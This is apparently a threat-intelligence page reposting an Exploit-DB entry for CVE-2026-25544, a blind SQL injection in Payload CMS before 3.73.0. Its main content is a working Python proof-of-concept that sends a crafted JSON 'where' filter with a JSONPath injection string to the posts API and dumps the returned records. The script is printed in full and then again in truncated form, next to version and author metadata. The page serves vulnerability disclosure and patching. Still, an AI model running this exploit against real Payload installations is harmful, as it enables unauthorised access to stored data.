Payload CMS 3.72.0 - Blind SQL Injection
Severity: highType: ExploitCVE-2026-25544
Payload CMS 3.72.0 - Blind SQL Injection
Indicators of Compromise
- exploit-code: # Exploit Title: Payload CMS 3.72.0 - Blind SQL Injection # Google Dork: N/A # Date: 2026-08-01 # Exploit Author: cardosource # Vendor Homepage: https://payloadcms.com/ # Software Link: https://github.com/payloadcms/payload # Version: < 3.73.0 # Tested on: Docker - Node.js v24.18.1 (Recommended LTS) + Payload CMS 3.72.0 + PostgreSQL 15 # CVE: CVE-2026-25544 # # Description: # Payload CMS versions prior to 3.73.0 contain a Blind SQL Injection # vulnerability when processing `where` filters on JSON or RichText # fields using the Drizzle database adapters. # # This PoC demonstrates SQL injection through attacker-controlled JSON # filter input affecting generated JSONPath expressions. # import requests import json from typing import Dict, Any, Optional def fetch_posts() -> requests.Response: url: str = "http://localhost:3000/api/posts" filter_criteria: Dict[str, Dict[str, str]] = { "metadata.role": { "equals": 'x" || @ == @ || @ == "' } } params: Dict[str, Any] = { "where": json.dumps(filter_criteria), "limit": 100, "depth": 0, } return requests.get(url, params=params, timeout=15) def display_status(response: requests.Response) -> None: print("status:", response.status_code) print("content-type:", response.headers.get("content-type")) print() def display_content(response: requests.Response) -> None: try: data: Dict[str, Any] = response.json() print("totalDocs:", data.get("totalDocs")) print("docs:", len(data.get("docs", []))) print() print(json.dumps(data, indent=2, ensure_ascii=False)[:4000]) except Exception as error: print("not JSON:", error) print(response.text[:1000]) def main() -> None: response: requests.Response = fetch_posts() display_status(response) display_content(response) if __name__ == "__main__": main()
Payload CMS 3.72.0 - Blind SQL Injection
0
HighExploitCVE-2026-25544sqliexploitdocker - node.js v24.18.1 (recommended lts) + payload cms 3.72.0 + postgresql 15cve
Published: 09/01/2026 (09/01/2026, 00:00:00 UTC)
Source: Exploit-DB RSS Feed
Description
Payload CMS 3.72.0 - Blind SQL Injection
Affected software
Affected versions
<3.73.0
Technical Details
- Cve
- CVE-2026-25544
- Version
- < 3.73.0
- Author
- cardosource
- Platform
- Docker - Node.js v24.18.1 (Recommended LTS) + Payload CMS 3.72.0 + PostgreSQL 15
- Edb Id
- 52671
- Has Exploit Code
- true
- Code Language
- python
Indicators of Compromise
Exploit Source Code
Exploit Code
Exploit code for Payload CMS 3.72.0 - Blind SQL Injection
# Exploit Title: Payload CMS 3.72.0 - Blind SQL Injection # Google Dork: N/A # Date: 2026-08-01 # Exploit Author: cardosource # Vendor Homepage: https://payloadcms.com/ # Software Link: https://github.com/payloadcms/payload # Version: < 3.73.0 # Tested on: Docker - Node.js v24.18.1 (Recommended LTS) + Payload CMS 3.72.0 + PostgreSQL 15 # CVE: CVE-2026-25544 # # Description: # Payload CMS versions prior to 3.73.0 contain a Blind SQL Injection # vulnerability when processing `where` filters on JS... (1427 more characters)
Code Length: 1,927 characters
Threat ID: 6aaa2ad355bf5e2cf50e38cd
Added to database: 09/16/2026, 05:36:19 UTC
Last updated: 09/16/2026, 05:36:19 UTC
Views: 1
Community Reviews
0 reviewsCrowdsource mitigation strategies, share intel context, and vote on the most helpful responses. Sign in to add your voice and help keep defenders ahead.
Sort by
Loading community insights…
Want to contribute mitigation steps or threat intel context? Sign in or create an account to join the community discussion.
Actions
Please log in to the Console to use AI analysis features.
Need more coverage?
Upgrade to Pro Console for AI refresh and higher limits.
For incident response and remediation, OffSeq services can help resolve threats faster.
Latest Threats
Breach by OffSeqOFFSEQFRIENDS — 25% OFF
Check if your credentials are on the dark web
Instant breach scanning across billions of leaked records. Free tier available.
OffSeq TrainingCredly Certified
Lead Pen Test Professional
Technical5-day eLearningPECB Accredited